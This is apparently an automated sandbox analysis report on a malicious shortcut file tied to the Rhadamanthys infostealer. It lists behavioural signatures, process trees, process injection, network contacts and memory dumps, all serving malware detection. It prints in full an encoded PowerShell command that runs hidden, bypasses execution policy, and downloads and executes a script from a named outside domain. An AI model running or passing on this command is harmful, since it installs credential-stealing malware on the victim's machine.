Analysis Overview
SHA256
aba115e0bea67fdde8e73b402d39c7902841c5156febb1651437a306a4da9740
Threat Level: Known bad
The file DOC5723-57235723.lnk was found to be: Known bad.
Malicious Activity Summary
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
Blocklisted process makes network request
Checks computer location settings
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-04-05 11:39
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-05 11:39
Reported
2024-04-05 11:41
Platform
win7-20240221-en
Max time kernel
118s
Max time network
119s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2172 wrote to memory of 2592 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2172 wrote to memory of 2592 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2172 wrote to memory of 2592 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC5723 - 57235723.lnk"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
Network
Files
memory/2592-38-0x000000001B6B0000-0x000000001B992000-memory.dmp
memory/2592-39-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp
memory/2592-41-0x00000000027D0000-0x00000000027D8000-memory.dmp
memory/2592-40-0x00000000029F0000-0x0000000002A70000-memory.dmp
memory/2592-43-0x00000000029F0000-0x0000000002A70000-memory.dmp
memory/2592-42-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp
memory/2592-44-0x00000000029F0000-0x0000000002A70000-memory.dmp
memory/2592-45-0x00000000029F0000-0x0000000002A70000-memory.dmp
memory/2592-46-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-05 11:39
Reported
2024-04-05 11:41
Platform
win10v2004-20240226-en
Max time kernel
141s
Max time network
151s
Command Line
Signatures
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 1560 created 2420 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\sihost.exe |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2416 wrote to memory of 1560 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2416 wrote to memory of 1560 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1560 wrote to memory of 4416 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 1560 wrote to memory of 4416 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 1560 wrote to memory of 4416 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 1560 wrote to memory of 4416 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
Processes
C:\Windows\system32\sihost.exe
sihost.exe
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC5723 - 57235723.lnk"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
C:\Windows\system32\dialer.exe
"C:\Windows\system32\dialer.exe"
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3744 --field-trial-handle=3192,i,2785050981002401924,4037047756083432660,262144 --variations-seed-version /prefetch:8
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | imanikuu.com | udp |
| US | 64.20.41.122:443 | imanikuu.com | tcp |
| US | 8.8.8.8:53 | 122.41.20.64.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 105.136.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 150.1.37.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 13.107.253.64:443 | tcp | |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.139.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 91.136.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.136.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 137.71.105.51.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b13xo30x.aud.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1560-11-0x0000018029610000-0x0000018029632000-memory.dmp
memory/1560-12-0x00007FFED75D0000-0x00007FFED8091000-memory.dmp
memory/1560-13-0x00000180296D0000-0x00000180296E0000-memory.dmp
memory/1560-14-0x00000180296D0000-0x00000180296E0000-memory.dmp
memory/1560-15-0x0000018029D90000-0x0000018029DEE000-memory.dmp
memory/1560-16-0x00000180114F0000-0x0000018011500000-memory.dmp
memory/1560-17-0x0000018029DF0000-0x000001802A1F0000-memory.dmp
memory/1560-18-0x0000018029DF0000-0x000001802A1F0000-memory.dmp
memory/1560-19-0x0000018029DF0000-0x000001802A1F0000-memory.dmp
memory/1560-20-0x00007FFEF6070000-0x00007FFEF6265000-memory.dmp
memory/1560-22-0x0000018029DF0000-0x000001802A1F0000-memory.dmp
memory/1560-23-0x00007FFEF3D40000-0x00007FFEF4009000-memory.dmp
memory/1560-21-0x00007FFEF5320000-0x00007FFEF53DE000-memory.dmp
memory/4416-24-0x000001DD3FB00000-0x000001DD3FB09000-memory.dmp
memory/1560-27-0x00007FFED75D0000-0x00007FFED8091000-memory.dmp
memory/1560-30-0x0000018029DF0000-0x000001802A1F0000-memory.dmp
memory/4416-31-0x000001DD415A0000-0x000001DD419A0000-memory.dmp
memory/1560-29-0x00000180114F0000-0x0000018011500000-memory.dmp
memory/4416-32-0x00007FFEF6070000-0x00007FFEF6265000-memory.dmp
memory/4416-34-0x00007FFEF5320000-0x00007FFEF53DE000-memory.dmp
memory/4416-33-0x000001DD415A0000-0x000001DD419A0000-memory.dmp
memory/4416-35-0x00007FFEF3D40000-0x00007FFEF4009000-memory.dmp
memory/4416-36-0x000001DD415A0000-0x000001DD419A0000-memory.dmp